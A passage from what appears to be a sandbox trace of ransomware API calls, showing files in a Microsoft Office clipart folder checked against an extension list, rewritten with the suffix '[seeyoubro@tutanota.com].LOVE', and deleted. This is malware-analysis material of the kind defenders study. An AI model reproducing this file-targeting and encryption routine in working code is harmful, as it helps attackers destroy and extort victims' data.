lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0206.533] lstrlenW (lpString=".1cd") returned 4 [0206.533] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0206.533] lstrlenW (lpString=".jpg") returned 4 [0206.533] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.533] lstrcmpiW (lpString1=".GIF", lpString2=".LOVE") returned -1 [0206.533] lstrlenW (lpString="AG00172_.GIF") returned 12 [0206.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0206.533] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=4390) returned 1 [0206.533] CloseHandle (hObject=0x368) returned 1 [0206.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif")) returned 0x220 [0206.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0206.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0206.534] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.534] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0206.551] GetLastError () returned 0x0 [0206.551] ReadFile (in: hFile=0x368, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x1126, lpOverlapped=0x0) returned 1 [0206.554] WriteFile (in: hFile=0x2f0, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x1130, lpOverlapped=0x0) returned 1 [0206.554] ReadFile (in: hFile=0x368, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.555] WriteFile (in: hFile=0x2f0, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0206.555] SetEndOfFile (hFile=0x2f0) returned 1 [0206.560] CloseHandle (hObject=0x2f0) returned 1 [0206.562] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.562] SetEndOfFile (hFile=0x368) returned 1 [0206.563] CloseHandle (hObject=0x368) returned 1 [0206.563] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0206.564] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif")) returned 1 [0206.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0206.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0206.564] lstrlenW (lpString=".doc") returned 4 [0206.564] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.564] lstrlenW (lpString=".docx") returned 5 [0206.564] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.564] lstrlenW (lpString=".pdf") returned 4 [0206.564] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.564] lstrlenW (lpString=".xls") returned 4 [0206.564] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.564] lstrlenW (lpString=".xlsx") returned 5 [0206.564] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.564] lstrlenW (lpString=".ppt") returned 4 [0206.564] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0206.564] lstrlenW (lpString=".zip") returned 4 [0206.564] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.564] lstrlenW (lpString=".rar") returned 4 [0206.564] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.564] lstrlenW (lpString=".bz2") returned 4 [0206.564] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.564] lstrlenW (lpString=".7z") returned 3 [0206.565] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0206.565] lstrlenW (lpString=".dbf") returned 4 [0206.565] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0206.565] lstrlenW (lpString=".1cd") returned 4 [0206.565] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0206.565] lstrlenW (lpString=".jpg") returned 4 [0206.565] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0206.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0206.565] lstrlenW (lpString=".doc") returned 4 [0206.565] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.565] lstrlenW (lpString=".docx") returned 5 [0206.565] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.565] lstrlenW (lpString=".pdf") returned 4 [0206.565] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.565] lstrlenW (lpString=".xls") returned 4 [0206.565] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.565] lstrlenW (lpString=".xlsx") returned 5 [0206.565] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.565] lstrlenW (lpString=".ppt") returned 4 [0206.565] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0206.565] lstrlenW (lpString=".zip") returned 4 [0206.565] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.565] lstrlenW (lpString=".rar") returned 4 [0206.565] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.565] lstrlenW (lpString=".bz2") returned 4 [0206.565] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.565] lstrlenW (lpString=".7z") returned 3 [0206.565] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0206.565] lstrlenW (lpString=".dbf") returned 4 [0206.565] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0206.565] lstrlenW (lpString=".1cd") returned 4 [0206.565] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0206.566] lstrlenW (lpString=".jpg") returned 4 [0206.566] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.566] lstrcmpiW (lpString1=".GIF", lpString2=".LOVE") returned -1 [0206.566] lstrlenW (lpString="AG00176_.GIF") returned 12 [0206.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0206.567] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=3120) returned 1 [0206.567] CloseHandle (hObject=0x31c) returned 1 [0206.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif")) returned 0x220 [0206.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0206.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0206.568] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.568] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0206.568] GetLastError () returned 0x0 [0206.568] ReadFile (in: hFile=0x31c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0xc30, lpOverlapped=0x0) returned 1 [0206.725] WriteFile (in: hFile=0x354, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xc40, lpOverlapped=0x0) returned 1 [0206.994] ReadFile (in: hFile=0x31c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.994] WriteFile (in: hFile=0x354, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0206.994] SetEndOfFile (hFile=0x354) returned 1 [0206.995] CloseHandle (hObject=0x354) returned 1 [0206.995] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.995] SetEndOfFile (hFile=0x31c) returned 1 [0206.996] CloseHandle (hObject=0x31c) returned 1 [0206.996] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0206.997] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif")) returned 1 [0206.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0206.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0206.997] lstrlenW (lpString=".doc") returned 4 [0206.997] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.997] lstrlenW (lpString=".docx") returned 5 [0206.997] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.997] lstrlenW (lpString=".pdf") returned 4 [0206.997] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.997] lstrlenW (lpString=".xls") returned 4 [0206.997] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.997] lstrlenW (lpString=".xlsx") returned 5 [0206.997] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.997] lstrlenW (lpString=".ppt") returned 4 [0206.997] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0206.997] lstrlenW (lpString=".zip") returned 4 [0206.997] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.998] lstrlenW (lpString=".rar") returned 4 [0206.998] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.998] lstrlenW (lpString=".bz2") returned 4 [0206.998] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.998] lstrlenW (lpString=".7z") returned 3 [0206.998] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0206.998] lstrlenW (lpString=".dbf") returned 4 [0206.998] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0206.998] lstrlenW (lpString=".1cd") returned 4 [0206.998] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0206.998] lstrlenW (lpString=".jpg") returned 4 [0206.998] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0206.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0206.998] lstrlenW (lpString=".doc") returned 4 [0206.998] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.998] lstrlenW (lpString=".docx") returned 5 [0206.998] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.998] lstrlenW (lpString=".pdf") returned 4 [0206.998] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.998] lstrlenW (lpString=".xls") returned 4 [0206.998] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.998] lstrlenW (lpString=".xlsx") returned 5 [0206.998] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.998] lstrlenW (lpString=".ppt") returned 4 [0206.999] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0206.999] lstrlenW (lpString=".zip") returned 4 [0206.999] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.999] lstrlenW (lpString=".rar") returned 4 [0206.999] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.999] lstrlenW (lpString=".bz2") returned 4 [0206.999] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.999] lstrlenW (lpString=".7z") returned 3 [0206.999] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0206.999] lstrlenW (lpString=".dbf") returned 4 [0206.999] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0206.999] lstrlenW (lpString=".1cd") returned 4 [0206.999] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0206.999] lstrlenW (lpString=".jpg") returned 4 [0206.999] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.999] lstrcmpiW (lpString1=".WMF", lpString2=".LOVE") returned 1 [0206.999] lstrlenW (lpString="AN00010_.WMF") returned 12 [0206.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0207.000] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=3026) returned 1 [0207.000] CloseHandle (hObject=0x31c) returned 1 [0207.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf")) returned 0x220 [0207.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0207.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0207.000] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.000] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0207.001] GetLastError () returned 0x0 [0207.001] ReadFile (in: hFile=0x31c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0xbd2, lpOverlapped=0x0) returned 1 [0207.011] WriteFile (in: hFile=0x354, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xbe0, lpOverlapped=0x0) returned 1 [0207.012] ReadFile (in: hFile=0x31c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.012] WriteFile (in: hFile=0x354, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0207.012] SetEndOfFile (hFile=0x354) returned 1 [0207.012] CloseHandle (hObject=0x354) returned 1 [0207.013] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.013] SetEndOfFile (hFile=0x31c) returned 1 [0207.014] CloseHandle (hObject=0x31c) returned 1 [0207.014] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.014] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf")) returned 1 [0207.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0207.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0207.015] lstrlenW (lpString=".doc") returned 4 [0207.015] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.015] lstrlenW (lpString=".docx") returned 5 [0207.015] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.015] lstrlenW (lpString=".pdf") returned 4 [0207.015] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.015] lstrlenW (lpString=".xls") returned 4 [0207.015] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.015] lstrlenW (lpString=".xlsx") returned 5 [0207.015] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.015] lstrlenW (lpString=".ppt") returned 4 [0207.015] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0207.015] lstrlenW (lpString=".zip") returned 4 [0207.015] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.015] lstrlenW (lpString=".rar") returned 4 [0207.015] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.015] lstrlenW (lpString=".bz2") returned 4 [0207.015] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.015] lstrlenW (lpString=".7z") returned 3 [0207.015] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0207.015] lstrlenW (lpString=".dbf") returned 4 [0207.015] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0207.016] lstrlenW (lpString=".1cd") returned 4 [0207.016] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0207.016] lstrlenW (lpString=".jpg") returned 4 [0207.016] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0207.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0207.016] lstrlenW (lpString=".doc") returned 4 [0207.016] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.016] lstrlenW (lpString=".docx") returned 5 [0207.016] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.016] lstrlenW (lpString=".pdf") returned 4 [0207.016] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.016] lstrlenW (lpString=".xls") returned 4 [0207.016] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.016] lstrlenW (lpString=".xlsx") returned 5 [0207.016] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.016] lstrlenW (lpString=".ppt") returned 4 [0207.016] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0207.016] lstrlenW (lpString=".zip") returned 4 [0207.016] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.016] lstrlenW (lpString=".rar") returned 4 [0207.016] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.016] lstrlenW (lpString=".bz2") returned 4 [0207.016] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.016] lstrlenW (lpString=".7z") returned 3 [0207.017] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0207.017] lstrlenW (lpString=".dbf") returned 4 [0207.017] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0207.017] lstrlenW (lpString=".1cd") returned 4 [0207.017] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.017] lstrlenW (lpString="C:\\Program 